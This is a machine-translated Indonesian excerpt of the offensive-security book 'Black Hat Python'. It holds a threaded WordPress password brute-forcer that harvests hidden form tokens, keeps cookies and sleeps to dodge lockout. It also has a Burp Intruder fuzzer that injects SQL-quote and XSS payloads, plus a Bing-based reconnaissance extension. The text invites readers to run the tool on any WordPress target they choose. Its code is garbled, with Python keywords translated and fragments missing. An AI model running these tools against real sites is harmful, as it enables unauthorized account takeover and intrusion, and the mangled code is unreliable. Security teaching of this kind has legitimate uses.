Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Untuk melakukan brute-force pada WordPress, alat kami harus memenuhi dua
persyaratan: alat tersebut harus mengambil token tersembunyi dari formulir login
sebelum mengirimkan upaya kata sandi, dan alat tersebut harus memastikan bahwa
kami menerima cookie di sesi HTTP kami. Aplikasi jarak jauh menetapkan satu
atau lebih cookie pada kontak pertama, dan akan mengharapkan cookie kembali
pada upaya login. Untuk mengurai nilai formulir login, kami akan menggunakan
paket lxml yang diperkenalkan di bagian “Paket lxml dan BeautifulSoup” di halaman XX.
Mari kita mulai dengan melihat formulir login WordPress. Kamu bisa
temukan ini dengan menjelajah ke http:// <target Anda>/ wp-login.php/. Anda dapat
menggunakan alat browser Anda untuk "melihat sumber" guna menemukan struktur
HTML. Misalnya, menggunakan browser Firefox, pilih ToolsÿWeb DeveloperÿInspector.
Agar singkatnya, kami hanya menyertakan elemen formulir yang relevan:
<div class="user-pass-wrap">
<label for="user_pass">Sandi</label>
<div kelas="wp-pwd">
3 <input type="password" name="pwd" id="user_pass" value="" size="20" />
</div>
</div>
<p kelas="kirim">
4 <input type="submit" name="wp-submit" id="wp-submit" value="Masuk" />
5 <input type="hidden" name="testcookie" value="1" />
</p>
</bentuk>
86 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
agar berhasil: log 2 adalah variabel yang mewakili nama pengguna, pwd 3
adalah variabel untuk kata sandi, wp-submit 4 adalah variabel untuk tombol kirim, dan testcookie
5 adalah variabel untuk cookie pengujian. Perhatikan bahwa masukan ini disembunyikan di
formulir.
Server juga menetapkan beberapa cookie saat Anda melakukan kontak dengan
formulir, dan diharapkan menerimanya lagi saat Anda memposting data formulir.
Ini adalah bagian penting dari teknik anti-brute-forcing WordPress.
Situs ini memeriksa cookie terhadap sesi pengguna Anda saat ini, jadi meskipun Anda memberikan
kredensial yang benar ke dalam skrip pemrosesan login, otentikasi akan gagal jika cookie
tidak ada. Ketika pengguna biasa login, browser secara otomatis menyertakan cookie. Kita
harus menduplikasi perilaku tersebut dalam program brute force. Kami akan menangani cookie
secara otomatis menggunakan objek Sesi perpustakaan permintaan .
Kami akan mengandalkan aliran permintaan berikut di brute force kami untuk melakukannya
sukses melawan WordPress:
3. Atur nama pengguna dan/atau kata sandi berdasarkan tebakan dari kamus kami.
4. Kirim HTTP POST ke skrip pemrosesan login, termasuk semuanya
Bidang formulir HTML dan cookie yang kami simpan.
Cain & Abel, alat pemulihan kata sandi khusus Windows, mencakup banyak hal
daftar kata untuk kata sandi paksa yang disebut cain.txt. Mari kita gunakan file itu untuk
menebak kata sandi kita. Anda dapat mengunduhnya langsung dari repositori GitHub Daniel
Miessler, SecLists:
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt
Omong-omong, SecLists juga berisi banyak daftar kata lainnya. saya menyarankan
Anda menelusuri repo untuk proyek peretasan Anda di masa depan.
Anda dapat melihat bahwa kami akan menggunakan beberapa teknik baru dan
berharga dalam skrip ini. Kami juga akan menyebutkan bahwa Anda tidak boleh menguji
peralatan Anda pada target langsung; selalu siapkan instalasi aplikasi web target Anda
dengan kredensial yang diketahui dan verifikasi bahwa Anda mendapatkan hasil yang diinginkan.
Mari buka file Python baru bernama wordpress_killer.py dan masukkan kode berikut:
permintaan impor
sistem impor
impor threading
waktu impor
Peretas Web 87
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
1 SUKSES = 'Selamat datang di WordPress!'
2 TARGET = "http://boodelyboo.com/wordpress/wp-login.php"
DAFTAR DUNIA = '/home/tim/bhp/bhp/cain.txt'
3 def get_words():
dengan terbuka (DAFTAR WORDL) sebagai f:
kata_mentah = f.baca()
kata = Antrian()
untuk kata di raw_words.split():
kata-kata.put(kata)
kata kembali
4 def get_params(konten):
params = dikt()
pengurai = etree.HTMLParser()
pohon = etree.parse(BytesIO(konten), parser=parser)
5 untuk elemen di tree.findall('//input'): # temukan semua elemen masukan
nama = elem.dapatkan('nama')
jika nama bukan Tidak Ada:
params[nama] = elem.get('nilai', Tidak Ada)
kembalikan param
Fungsi get_words 3 seharusnya terlihat familiar karena kita menggunakan bentuk serupa
untuk brute force di bagian “Direktori dan Lokasi File Brute-Forcing” di halaman XX. Fungsi
get_params 4 menerima konten respons HTTP, menguraikannya, dan mengulang semua elemen
masukan 5 untuk membuat kamus parameter yang perlu kita isi. Sekarang mari kita buat pipa
untuk brute force kita; beberapa kode berikut akan familiar dari kode pada program brute force
sebelumnya, jadi kami hanya akan menyoroti teknik terbaru.
kelas Bruter:
def __init__(diri, nama pengguna, url):
self.nama pengguna = nama pengguna
diri.url = url
self.found = Salah
print(f'\nSerangan Brute Force dimulai pada {url}.\n')
print("Selesai setup dimana nama pengguna = %s\n" % nama pengguna)
88 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
1 sesi = permintaan.Sesi()
resp0 = sesi.dapatkan(self.url)
params = get_params(resp0.konten)
params['log'] = self.nama pengguna
Ini adalah kelas brute force utama kami, yang akan menangani semua permintaan HTTP
dan mengelola cookie. Pekerjaan metode web_bruter , yang melakukan serangan login brute
force, berlangsung dalam tiga tahap.
Pada fase inisialisasi 1, kita menginisialisasi objek Sesi dari perpustakaan permintaan ,
yang secara otomatis akan menangani cookie untuk kita. Kami kemudian membuat permintaan
awal untuk mengambil formulir login. Saat kita memiliki konten HTML mentah, kita meneruskannya
ke fungsi get_params , yang mem-parsing konten untuk parameter dan mengembalikan kamus
semua elemen formulir yang diambil. Setelah kita berhasil mengurai HTML, kita mengganti
parameter nama pengguna . Sekarang kita bisa mulai mengulangi tebakan kata sandi kita.
Dalam perulangan fase 2, pertama-tama kita tidur beberapa detik sebagai upaya untuk
melewati penguncian akun. Kemudian kami mengeluarkan kata sandi dari antrian dan
menggunakannya untuk menyelesaikan pengisian kamus parameter. Jika tidak ada lagi kata
sandi dalam antrean, thread akan berhenti.
Pada tahap permintaan 3, kami memposting permintaan dengan kamus parameter
kami. Setelah kami mengambil hasil upaya autentikasi, kami menguji apakah autentikasi berhasil
atau tidak—yaitu, apakah konten berisi string sukses yang kami tentukan sebelumnya atau
tidak. Jika berhasil dan stringnya ada, kami menghapus antrian sehingga thread lainnya dapat
selesai dengan cepat dan kembali.
Itu dia! Kami meneruskan nama pengguna dan url ke kelas Bruter 1 dan melakukan
brute force aplikasi menggunakan antrian yang dibuat dari daftar kata 2.
Sekarang kita bisa menyaksikan keajaiban terjadi.
Peretas Web 89
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
HTMLPARSER 101
Pada contoh di bagian ini, kami menggunakan paket request dan lxml untuk
membuat permintaan HTTP dan mengurai konten yang dihasilkan. Namun bagaimana
jika Anda tidak dapat menginstal paket sehingga harus bergantung pada pustaka
standar? Seperti yang kami catat di awal bab ini, Anda dapat menggunakan urllib
untuk membuat permintaan, tetapi Anda harus menyiapkan parser Anda sendiri
dengan pustaka standar html.parser.HTMLParser.
Ada tiga metode utama yang dapat Anda terapkan saat menggunakan kelas
HTMLParser : handle_starttag, handle_endtag, dan handle_data. Fungsi
handle_starttag akan dipanggil setiap kali tag HTML pembuka ditemukan, dan
sebaliknya berlaku untuk fungsi handle_endtag , yang dipanggil setiap kali tag HTML
penutup ditemukan. Fungsi handle_data dipanggil ketika ada teks mentah di antara tag.
Prototipe fungsi untuk setiap fungsi sedikit berbeda, sebagai berikut:
<title>Batu piton!</title>
Dengan pemahaman dasar kelas HTMLParser ini , Anda dapat melakukan hal-hal seperti
mengurai formulir, menemukan link untuk spidering, mengekstrak semua teks murni untuk tujuan
penambangan data, atau menemukan semua gambar di halaman.
Menendang Ban
Jika Anda belum menginstal WordPress di Kali VM Anda, instal sekarang.
Pada instalasi WordPress sementara kami yang dihosting di boodelyboo.com, kami telah
mengatur nama pengguna menjadi tim dan kata sandi menjadi 1234567 sehingga kami
dapat memastikannya berfungsi. Kata sandi itu kebetulan ada di file cain.txt , sekitar 30
entri ke bawah. Saat menjalankan skrip, kami mendapatkan output berikut:
90 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Bruteforce berhasil.
Nama pengguna adalah tim
Anda dapat melihat bahwa skrip berhasil melakukan brute force dan masuk ke
Konsol WordPress. Untuk memverifikasi bahwa itu berhasil, Anda harus masuk secara manual
menggunakan kredensial tersebut. Setelah Anda mengujinya secara lokal dan Anda yakin itu
berfungsi, Anda dapat menggunakan alat ini pada target instalasi WordPress pilihan Anda.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
6
MEMPERPANJANG BURP PROX Y
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
dari Burp Proxy sebagai benih untuk fuzzer mutasi yang berjalan di Burp Intruder.
Ekstensi kedua akan berkomunikasi dengan Microsoft Bing API untuk menunjukkan kepada
kita semua host virtual yang terletak di alamat IP yang sama dengan situs target, serta subdomain
apa pun yang terdeteksi untuk domain target. Terakhir, kami akan membuat ekstensi untuk
membuat daftar kata dari situs web target yang dapat Anda gunakan dalam serangan kata sandi
brute force.
Bab ini mengasumsikan bahwa Anda pernah bermain dengan Burp sebelumnya dan
mengetahui cara menjebak permintaan dengan alat Proxy, serta cara mengirim permintaan yang
terjebak ke Burp Intruder. Jika Anda memerlukan tutorial tentang cara melakukan tugas ini,
kunjungi PortSwigger Web Security (http:// www.portswigger.net/) untuk memulai.
Kami harus mengakui bahwa ketika kami pertama kali menjelajahi Burp Extender
API, kami memerlukan beberapa waktu untuk memahami cara kerjanya. Kami merasa ini
agak membingungkan, karena kami adalah orang-orang Python murni dan memiliki pengalaman
pengembangan Java yang terbatas. Namun kami menemukan sejumlah ekstensi di situs Burp
yang mengajari kami bagaimana orang lain mengembangkan ekstensi. Kami menggunakan
penemuan sebelumnya untuk membantu kami memahami cara mulai mengimplementasikan
kode kami sendiri. Bab ini akan membahas beberapa dasar tentang perluasan fungsionalitas,
namun kami juga akan menunjukkan cara menggunakan dokumentasi API sebagai panduan.
Pengaturan
Burp Suite diinstal secara default di Kali Linux. Jika Anda menggunakan mesin lain, unduh
Burp dari http:// www.portswigger.net/ dan mengaturnya.
Meskipun kami harus mengakuinya, Anda memerlukan instalasi Java modern. Kali
Linux sudah menginstalnya. Jika Anda menggunakan platform lain, gunakan metode instalasi
sistem Anda (seperti apt, yum, atau rpm) untuk mendapatkannya.
Selanjutnya, instal Jython, implementasi Python 2 yang ditulis dalam Java. Hingga saat ini, semua
kode kita telah menggunakan sintaksis Python 3, namun dalam bab ini kita akan kembali ke
Python 2, karena itulah yang diharapkan Jython. Anda dapat menemukan file JAR ini di situs No
Starch, bersama dengan kode buku lainnya (https:// www.nostarch
.com/ blackhatpython/), atau di situs resminya, https:// www.jython.org/ download
.html. Pilih Penginstal Mandiri Jython 2.7. Simpan file JAR ke lokasi yang mudah diingat,
seperti Desktop Anda.
Selanjutnya, klik dua kali ikon Burp di mesin Kali Anda atau jalankan
Bersendawa dari baris perintah:
Ini akan menjalankan Burp, dan Anda akan melihat antarmuka pengguna grafis (GUI)
penuh dengan tab yang indah, seperti yang ditunjukkan pada Gambar 6-1.
94 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sekarang mari arahkan Burp ke interpreter Jython kita. Klik tab Extender lalu klik
tab Opsi . Di bagian Lingkungan Python, pilih lokasi file Jython JAR Anda, seperti yang
ditunjukkan pada Gambar 6-2. Anda dapat membiarkan opsi lainnya. Kami siap untuk
mulai mengkodekan ekstensi pertama kami.
Mari kita bergoyang!
Bersendawa Fuzzing
Pada titik tertentu dalam karir Anda, Anda mungkin menemukan diri Anda
menyerang aplikasi atau layanan web yang tidak memungkinkan Anda
menggunakan alat penilaian aplikasi web tradisional. Misalnya, aplikasi mungkin
menggunakan terlalu banyak parameter, atau mungkin dikaburkan sehingga membuat
pengujian manual terlalu memakan waktu. Kami bersalah karena menjalankan alat
standar yang tidak dapat menangani protokol aneh, atau bahkan JSON dalam
banyak kasus. Di sinilah Anda akan merasakan manfaatnya untuk menetapkan
dasar lalu lintas HTTP yang solid, termasuk cookie autentikasi, sambil meneruskan isi
permintaan ke fuzzer khusus. Fuzzer ini bisa
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
lalu memanipulasi payload dengan cara apa pun yang Anda pilih. Kami akan mengerjakan
ekstensi Burp pertama kami dengan membuat fuzzer aplikasi web paling sederhana di
dunia, yang kemudian dapat Anda kembangkan menjadi sesuatu yang lebih cerdas.
Burp memiliki sejumlah alat yang dapat Anda gunakan saat melakukan pengujian
aplikasi web. Biasanya, Anda akan menjebak semua permintaan menggunakan Proxy,
dan ketika Anda melihat permintaan yang menarik, Anda akan mengirimkannya ke alat Burp
lainnya. Teknik yang umum adalah mengirimkannya ke alat Repeater, yang memungkinkan
Anda memutar ulang lalu lintas web serta memodifikasi tempat menarik secara manual.
Untuk melakukan lebih banyak serangan otomatis pada parameter kueri, Anda dapat
mengirim permintaan ke alat Intruder, yang mencoba mencari tahu secara otomatis area lalu
lintas web mana yang harus Anda modifikasi dan kemudian memungkinkan Anda
menggunakan berbagai serangan untuk mencoba mendapatkan pesan kesalahan atau
menghilangkan kerentanan. Ekstensi Burp dapat berinteraksi dalam berbagai cara
dengan rangkaian alat Burp. Dalam kasus kami, kami akan memasang fungsionalitas tambahan langsung ke a
Naluri pertama kami adalah melihat dokumentasi Burp API untuk menentukan kelas
Burp apa yang perlu kami perluas untuk menulis ekstensi khusus kami. Anda dapat
mengakses dokumentasi ini dengan mengklik Extender
tab dan kemudian mengklik tab API . API ini mungkin terlihat sedikit menakutkan karena
sangat Java-y. Namun perhatikan bahwa pengembang Burp telah memberi nama masing-
masing kelas dengan tepat, membuatnya mudah untuk mengetahui di mana kita ingin
memulai. Secara khusus, karena kami mencoba untuk mengaburkan permintaan web
selama serangan Intruder, kami mungkin ingin fokus pada kelas
IIntruderPayloadGeneratorFactory dan IIntruderPayloadGenerator . Mari kita lihat apa yang
tertulis dalam dokumentasi untuk kelas IIntruderPayloadGeneratorFactory :
/**
* Ekstensi dapat mengimplementasikan antarmuka ini dan kemudian menelepon
1 * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
* untuk mendaftarkan pabrik untuk muatan Intruder khusus.
*/
/**
* Metode ini digunakan oleh Burp ketika pengguna memulai Intruder
* serangan yang menggunakan generator muatan ini.
*
@param serangan
* Objek IIntruderAttack yang dapat ditanyakan untuk mendapatkan detail
* tentang serangan yang akan menggunakan generator payload.
96 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Bagian pertama dari dokumentasi 1 menjelaskan cara mendaftarkan ekstensi kita dengan
Burp dengan benar. Kami akan memperluas kelas Burp utama serta kelas
IIntruderPayloadGeneratorFactory . Selanjutnya, kita melihat bahwa Burp mengharapkan dua
metode di kelas utama kita. Burp akan memanggil metode getGeneratorName 2
untuk mengambil nama ekstensi kami, dan kami diharapkan mengembalikan sebuah string.
Metode createNewInstance 3 mengharapkan kita mengembalikan sebuah instance dari
IIntruderPayloadGenerator, kelas kedua yang harus kita buat.
Sekarang mari kita implementasikan kode Python sebenarnya untuk memenuhi persyaratan ini.
Kemudian kita akan mengetahui cara menambahkan kelas IIntruderPayloadGenerator . Buka file
Python baru, beri nama bhp_fuzzer.py, dan masukkan kode berikut:
impor acak
3 panggilan balik.registerIntruderPayloadGeneratorFactory(mandiri)
kembali
4 def getGeneratorName(diri):
kembalikan "Generator Muatan BHP"
Kerangka sederhana ini menguraikan apa yang kita perlukan untuk memenuhi
rangkaian persyaratan pertama. Kita harus mengimpor IBurpExtender terlebih dahulu
kelas 1, persyaratan untuk setiap ekstensi yang kami tulis. Kami menindaklanjutinya dengan
mengimpor kelas yang diperlukan untuk membuat generator payload Intruder. Selanjutnya,
kita mendefinisikan kelas BurpExtender 2, yang memperluas kelas IBurpExtender dan
IIntruderPayloadGeneratorFactory . Kami kemudian menggunakan metode
registerIntruderPayloadGeneratorFactory 3 untuk mendaftarkan kelas kami
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
/**
* Antarmuka ini digunakan untuk generator muatan Penyusup khusus.
* Ekstensi
* yang telah mendaftarkan an
* IIntruderPayloadGeneratorFactory harus mengembalikan instance baru
* antarmuka ini bila diperlukan sebagai bagian dari serangan Penyusup baru.
*/
/**
* Cara ini digunakan Burp untuk mendapatkan nilai payload berikutnya.
*
*
@param baseValue Nilai dasar posisi payload saat ini.
* Nilai ini mungkin nol jika konsep nilai dasar tidak
* berlaku (misalnya dalam serangan pendobrak).
* @return Payload berikutnya yang digunakan dalam serangan.
*/
2 byte[] getNextPayload(byte[] baseValue);
/**
* Metode ini digunakan oleh Burp untuk mereset status payload
*
generator sehingga panggilan berikutnya ke
* getNextPayload() mengembalikan payload pertama lagi. Ini
* Metode akan dipanggil ketika serangan menggunakan muatan yang sama
*
generator untuk lebih dari satu posisi muatan, misalnya pada a
*
serangan penembak jitu.
*/
3 batalkan pengaturan ulang();
}
Oke! Sekarang kita tahu bahwa kita perlu mengimplementasikan kelas dasar, yang
perlu mengekspos tiga metode. Metode pertama, hasMorePayloads 1, digunakan untuk
memutuskan apakah akan terus mengirim permintaan yang dimutasi kembali ke Burp Intruder.
Kami akan menggunakan counter untuk menangani ini. Setelah penghitung mencapai maksimum
98 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
level, kami akan mengembalikan False untuk berhenti membuat kasus fuzzing. getNextPayload
metode 2 akan menerima payload asli dari permintaan HTTP yang Anda jebak. Alternatifnya,
jika Anda memilih beberapa area payload dalam permintaan HTTP, Anda hanya akan
menerima byte yang ingin Anda fuzz (lebih lanjut tentang ini nanti). Metode ini memungkinkan
kita untuk mengaburkan test case asli dan kemudian mengembalikannya untuk dikirim oleh
Burp. Metode terakhir, reset 3, ada sehingga jika kita menghasilkan sekumpulan permintaan
fuzzed yang diketahui, fuzzer dapat melakukan iterasi melalui nilai-nilai tersebut untuk setiap
posisi payload yang ditentukan di tab Intruder. Fuzzer kami tidak terlalu rewel; itu akan selalu
mengaburkan setiap permintaan HTTP secara acak.
Sekarang mari kita lihat tampilannya saat kita mengimplementasikannya dengan Python.
Tambahkan kode berikut ke bagian bawah bhp_fuzzer.py:
kembali
3 def hasMorePayloads(mandiri):
jika self.num_iterations == self.max_payloads:
kembali Salah
kalau tidak:
kembali Benar
4 def getNextPayload(mandiri,current_payload):
# ubah menjadi string
5 payload = "".join(chr(x) untuk x di current_payload)
mengembalikan muatan
def reset(diri):
self.num_iterations = 0
kembali
Kita mulai dengan mendefinisikan kelas BHPFuzzer 1 yang memperluas kelas IIntruder-
PayloadGenerator . Kita mendefinisikan variabel kelas yang diperlukan dan kemudian
menambahkan variabel max_payloads 2 dan num_iterations yang digunakan untuk memberi tahu
Burp ketika kita telah selesai melakukan fuzzing. Anda tentu saja dapat membiarkan ekstensi
berjalan selamanya jika Anda mau, namun untuk tujuan pengujian, kami akan menetapkan batas
waktu. Selanjutnya, kita mengimplementasikan metode hasMorePayloads 3, yang hanya
memeriksa apakah kita telah mencapai jumlah maksimum iterasi fuzzing. Anda dapat memodifikasi
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
ini untuk terus menjalankan ekstensi dengan selalu mengembalikan True. Metode get-
NextPayload 4 menerima payload HTTP asli, dan di sinilah kita akan membahasnya.
Variabel current_payload hadir sebagai array byte, jadi kami mengonversinya menjadi
string 5 dan kemudian meneruskannya ke mutate_payload
metode fuzzing 6. Kami kemudian menambah variabel num_iterations 7
dan mengembalikan muatan yang bermutasi. Metode terakhir kami adalah metode
reset , yang kembali tanpa melakukan apa pun.
Sekarang mari kita tulis metode fuzzing paling sederhana di dunia, yang dapat
Anda modifikasi sesuai keinginan Anda. Misalnya, metode ini mengetahui nilai payload
saat ini, jadi jika Anda memiliki protokol rumit yang memerlukan sesuatu yang khusus,
seperti checksum CRC atau bidang panjang, Anda dapat melakukan penghitungan
tersebut di dalam metode ini sebelum kembali. Tambahkan kode berikut ke bhp_fuzzer.py,
di dalam kelas BHPFuzzer :
def mutate_payload(mandiri,payload_asli):
# pilih mutator sederhana atau panggil skrip eksternal
pemilih = acak.randint(1,3)
Pertama, kita mengambil payload dan membaginya menjadi dua bagian dengan
panjang acak, depan dan belakang 1. Kemudian, kita memilih secara acak dari tiga
mutator: tes injeksi SQL sederhana yang menambahkan tanda kutip tunggal di akhir bagian
depan 2, pengujian skrip lintas situs (XSS) yang menambahkan tag skrip di bagian akhir depan
potongan 3, dan mutator yang memilih potongan acak dari payload asli, mengulanginya
beberapa kali secara acak, dan menambahkan hasilnya ke akhir potongan depan 4.
Kemudian, kita menambahkan potongan belakang ke bagian depan yang diubah
chunk untuk menyelesaikan mutasi payload 5. Kami sekarang memiliki ekstensi Burp Intruder
yang dapat kami gunakan. Mari kita lihat cara memuatnya.
100 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Menendang Ban
Pertama, kita harus memuat ekstensi dan memastikan tidak ada kesalahan.
Klik tab Extender di Burp lalu klik tombol Add . Sebuah layar akan muncul,
memungkinkan Anda mengarahkan Burp ke fuzzer. Pastikan Anda mengatur opsi yang
sama seperti yang ditunjukkan pada Gambar 6-3.
Klik Berikutnya, dan Burp akan mulai memuat ekstensi. jika ada
kesalahan, klik tab Kesalahan , debug kesalahan ketik apa pun, lalu klik Tutup. Layar
Extender Anda sekarang akan terlihat seperti Gambar 6-4.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Seperti yang Anda lihat, ekstensi kami telah dimuat dan Burp telah
mengidentifikasi generator payload Intruder yang terdaftar. Kami sekarang siap
memanfaatkan ekstensi dalam serangan nyata. Pastikan browser web Anda diatur
untuk menggunakan Burp Proxy sebagai proxy localhost pada port 8080. Sekarang
mari kita serang aplikasi web Acunetix yang sama dari Bab 5. Cukup telusuri ke http:// testphp
.vulnweb.com/.
Sebagai contoh, penulis menggunakan bilah pencarian kecil di situs mereka untuk
mengirimkan pencarian untuk string "test". Gambar 6-5 menunjukkan bagaimana Anda dapat melihat
permintaan ini di tab riwayat HTTP pada menu Proxy. Klik kanan permintaan untuk mengirimkannya
ke Penyusup.
Sekarang beralih ke tab Penyusup dan klik tab Posisi . Sebuah layar akan muncul,
memperlihatkan setiap parameter kueri yang disorot. Ini adalah cara Burp mengidentifikasi titik-titik
yang harus kita samarkan. Anda dapat mencoba memindahkan pembatas muatan atau memilih
seluruh muatan untuk difuzz jika Anda mau, tetapi untuk saat ini, biarkan Burp memutuskan
apa yang akan difuzz. Untuk lebih jelasnya, lihat Gambar 6-6, yang menunjukkan cara kerja
penyorotan muatan.
Sekarang klik tab Payload . Di layar ini, klik jenis Payload
drop-down dan pilih Ekstensi yang dihasilkan. Pada bagian Payload Options,
klik Select generator. . . tombol dan pilih BHP Payload Generator dari drop-
down. Layar Payload Anda sekarang akan terlihat seperti Gambar 6-7.
102 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sekarang kami siap mengirim permintaan. Di bagian atas bilah menu Burp, klik
Intruder lalu pilih Start Attack. Burp akan mulai mengirimkan permintaan yang tidak jelas,
dan Anda akan segera dapat melihat hasilnya dengan cepat.
Ketika penulis menjalankan fuzzer, kami menerima output yang ditunjukkan pada
Gambar 6-8.
Seperti yang Anda lihat dari peringatan tebal dalam respons terhadap permintaan 7,
kami telah menemukan apa yang tampaknya merupakan kerentanan injeksi SQL.
Meskipun kami membuat fuzzer ini hanya untuk tujuan demonstrasi, Anda akan
terkejut betapa efektifnya membuat aplikasi web menghasilkan kesalahan, mengungkapkan
jalur aplikasi, atau menghasilkan perilaku yang mungkin terlewatkan oleh banyak pemindai
lain. Yang paling penting, kami berhasil membuat ekstensi khusus kami berfungsi dengan
serangan Intruder Burp. Sekarang mari kita buat ekstensi yang akan membantu kita melakukan
pengintaian lebih lanjut terhadap server web.
Bukan hal yang aneh jika satu server web melayani beberapa aplikasi web, beberapa di
antaranya mungkin tidak Anda sadari. Jika Anda menyerang server, Anda harus melakukan
yang terbaik untuk menemukan nama host lain ini, karena mereka mungkin memberi Anda
cara yang lebih mudah untuk mendapatkan shell. Tidak jarang menemukan aplikasi web
yang tidak aman, atau bahkan sumber daya pengembangan, terletak di mesin yang sama
dengan target Anda. Mesin pencari Bing Microsoft memiliki kemampuan pencarian yang
memungkinkan Anda menanyakan Bing untuk semua situs web yang ditemukannya pada satu
alamat IP menggunakan pengubah pencarian “IP”. Bing juga akan memberi tahu Anda
semua subdomain dari domain tertentu jika Anda menggunakan pengubah pencarian “domain”.
104 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sekarang, kita bisa menggunakan scraper untuk mengirimkan pertanyaan ini ke Bing dan kemudian
mendapatkan HTML di hasilnya, tapi itu merupakan tindakan yang buruk (dan juga melanggar
ketentuan penggunaan sebagian besar mesin pencari). Agar terhindar dari masalah, kami akan
menggunakan Bing API1 untuk mengirimkan kueri ini secara terprogram dan menguraikan sendiri
hasilnya. Kecuali untuk menu konteks, kami tidak akan menerapkan penambahan GUI Burp yang
mewah dengan ekstensi ini; kita cukup mengeluarkan hasilnya ke Burp setiap kali kita menjalankan
kueri, dan setiap URL yang terdeteksi ke cakupan target Burp akan ditambahkan secara otomatis.
Karena kami telah memandu Anda tentang cara membaca dokumentasi Burp API dan
menerjemahkannya ke dalam Python, mari langsung ke kodenya.
Buka bhp_bing.py dan selesaikan yang berikut ini:
impor json
soket impor
impor urllib
1 API_KEY = "Kunci ANDA"
API_HOST = 'api.kognitif.microsoft.com'
kembali
Ini adalah bagian pertama dari ekstensi Bing kami. Pastikan Anda menempelkan kunci Bing API
di tempat 1. Anda diperbolehkan melakukan 1000 pencarian gratis per bulan.
Kita mulai dengan mendefinisikan BurpExtender kelas 2 yang mengimplementasikan antarmuka
IBurpExtender standar , dan IContextMenuFactory, yang memungkinkan kita untuk
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
menyediakan menu konteks ketika pengguna mengklik kanan permintaan di Burp. Menu
ini akan menampilkan pilihan “Kirim ke Bing”. Kami mendaftarkan pengendali menu 3
yang akan menentukan situs mana yang diklik pengguna, memungkinkan kami membuat
kueri Bing. Kemudian kita menyiapkan metode createMenuItem , yang akan menerima objek
IContextMenuInvocation dan menggunakannya untuk menentukan permintaan HTTP mana
yang dipilih pengguna. Langkah terakhir adalah merender item menu dan menangani event
klik dengan metode bing_menu 4.
Sekarang mari kita lakukan kueri Bing, keluarkan hasilnya, dan tambahkan apa pun
menemukan host virtual ke cakupan target Burp:
def bing_menu(diri,acara):
kembali
def bing_search(mandiri,host):
# periksa apakah kita memiliki IP atau nama host
mencoba:
2 is_ip = bool(socket.inet_aton(host))
kecuali soket.kesalahan:
is_ip = Salah
jika is_ip:
ip_address = tuan rumah
domain = Salah
kalau tidak:
ip_address = soket.gethostbyname(host)
domain = Benar
jika domain:
4 start_new_thread(self.bing_query, ('domain:%s' % host,))
Metode bing_menu terpicu ketika pengguna mengklik item menu konteks yang kami
tentukan. Kami mengambil permintaan HTTP yang disorot 1. Kemudian kami mengambil bagian
host dari setiap permintaan dan mengirimkannya ke bing_search
metode untuk diproses lebih lanjut. Metode bing_search pertama-tama menentukan apakah
bagian host adalah alamat IP atau nama host 2. Kami kemudian menanyakan Bing untuk
106 Bab 6
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
semua virtual host yang mempunyai alamat IP 3 yang sama dengan hostnya. Jika ekstensi
kami menerima domain juga, maka kami melakukan pencarian sekunder untuk setiap
subdomain yang mungkin telah diindeks Bing 4.
Sekarang mari kita instal pipa yang kita perlukan untuk mengirim permintaan ke Bing dan
mengurai hasilnya menggunakan API HTTP Burp. Tambahkan kode berikut dalam kelas
BurpExtender :
2 json_body = mandiri._callbacks.makeHttpRequest(
API_HOST, 443, Benar, http_request).tostring()
3 json_body = json_body.split('\r\n\r\n', 1)[1]
mencoba:
4 respons = json.loads(json_body)
kecuali (TypeError, ValueError) sebagai err:
print('Tidak ada hasil dari Bing: %s' % err)
kalau tidak:
situs = daftar()
jika respon.mendapatkan('Halaman Web'):
situs = respons['Halaman Web']['nilai']
jika len(situs):
untuk situs di situs:
5 cetak('*'*100)
'
print('Nama: %s % situs['nama'])
'
print('URL: %s % situs['url'])
print('Deskripsi: %r' % situs['cuplikan'])
mencetak('*'*100)
java_url = URL(situs['url'])
6 jika bukan self._callbacks.isInScope(java_url):
print('Menambahkan %s ke cakupan Burp' % situs['url'])
self._callbacks.includeInScope(java_url)
kalau tidak:
API HTTP Burp mengharuskan kita membuat seluruh permintaan HTTP sebagai string
sebelum mengirimkannya. Kita juga perlu menambahkan kunci Bing API untuk membuat
panggilan API 1. Kami kemudian mengirimkan permintaan HTTP 2 ke server Microsoft.
Ketika respons kembali, kami membagi header menjadi 3 dan kemudian meneruskannya ke
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
